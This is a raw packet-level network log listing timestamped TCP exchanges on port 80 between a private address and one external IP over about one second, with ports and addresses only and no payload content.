Oct 30, 2024 02:27:32.457849026 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.457931042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.457942963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.457954884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.457979918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.457979918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.458065033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.458075047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.458106041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.458426952 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.458467960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.458481073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.458492041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.458514929 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.458529949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.498838902 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.498894930 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.498898983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.498907089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.498954058 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.499224901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.499236107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.499259949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.499259949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.499284983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.499290943 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.499296904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.499329090 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.499360085 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.499908924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.499946117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.499955893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.499972105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.499983072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.499991894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.501677036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.501697063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.501708031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.501739025 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.501758099 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.501831055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.501842976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.501885891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.529787064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.529798985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.529836893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.529845953 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.529871941 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.529886961 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.530190945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.530203104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.530213118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.530245066 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.530260086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.574596882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.574609041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.574620008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.574664116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.574698925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.574707031 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.574711084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.574723005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.574737072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.574753046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.574769974 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.574788094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.574800014 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.574830055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.574911118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.574920893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.574934006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.574951887 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.574980974 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.575054884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.575067043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.575078011 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.575095892 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.575124025 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.575176954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.575217009 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.575702906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.575732946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.575742960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.575792074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.575802088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.575871944 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.576044083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.576101065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.576109886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.576113939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.576148987 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.576173067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.576215982 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.616460085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.616518021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.616558075 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.616579056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.616591930 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.616635084 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.616758108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.616799116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.616803885 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.616815090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.616849899 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.617403984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.617423058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.617432117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.617454052 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.617465973 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.619095087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.619105101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.619116068 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.619148016 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.619162083 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.619182110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.619193077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.619230032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.619318008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.619364977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.619370937 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.619402885 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.647356987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.647418022 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.647428989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.647429943 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.647466898 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.647581100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.647617102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.647628069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.647631884 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.647648096 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.647670984 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.692902088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.692917109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.692966938 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.692977905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.692990065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.693017960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.693037033 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.693100929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.693111897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.693123102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.693147898 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.693172932 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.693218946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.693259954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.693291903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.693303108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.693336964 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.693361998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.693404913 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.693434954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.693448067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.693481922 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.693528891 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.693541050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.693572998 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.693679094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.693691015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.693701029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.693712950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.693725109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.693731070 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.693742990 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.693766117 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.695203066 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.695252895 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.695866108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.695907116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.735032082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.735043049 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.735059023 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.735070944 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.735096931 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.735109091 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.735116959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.735117912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.735137939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.735148907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.735157967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.735162020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.735171080 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.735183954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.735193014 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.735194921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.735210896 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.735239029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.736565113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.736615896 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.736620903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.736632109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.736664057 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.736671925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.736710072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.736731052 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.736742973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.736777067 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.736901999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.736921072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.736948967 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.736963034 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.765156031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.765249968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.765296936 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.765307903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.765316010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.765320063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.765326023 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.765336037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.765439034 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.810600042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.810611963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.810619116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.810623884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.810630083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.810656071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.810767889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.810770035 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.810810089 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.810822010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.810838938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.810861111 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.810878038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.810961962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.811005116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.811044931 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.811085939 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.811100006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.811111927 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.811141014 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.811152935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.811225891 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.811237097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.811247110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.811256886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.811264038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.811278105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.811310053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.811635971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.811688900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.811692953 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.811705112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.811731100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.811743975 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.811777115 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.811788082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.811815977 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.851063967 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.856534958 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.136468887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.136533976 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.136537075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.136548996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.136569023 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.136580944 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.136583090 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.136607885 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.136621952 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.136651039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.136662960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.136687994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.136699915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.136785030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.136822939 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.136832952 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.136871099 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.136909962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.136949062 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.136960030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.136970043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.136997938 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.137176991 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.137217999 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.137254000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.137265921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.137290955 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.137304068 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.137337923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.137350082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.137377977 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.137397051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.137566090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.137602091 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.137634039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.137658119 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.137670994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.137696028 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.137707949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.137721062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.137746096 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.137758970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.137841940 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.137852907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.137886047 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.138133049 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.138176918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.138180017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.138189077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.138212919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.138225079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.253762007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.253817081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.253828049 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.253865004 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.253935099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.253958941 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.253967047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.254007101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.254081964 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.254092932 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.254103899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.254127979 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.254148960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.254245043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.254259109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.254270077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.254282951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.254292965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.254296064 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.254323959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.254333019 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.254761934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.254780054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.254813910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.254825115 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.254852057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.254894972 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.254909992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.254921913 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.254956961 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.254986048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.255029917 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.255304098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.255332947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.255343914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.255352020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.255362034 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.255383968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:33.255460024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:33.255472898 CET	80	49760	185.215.113.206	192.168.2.4
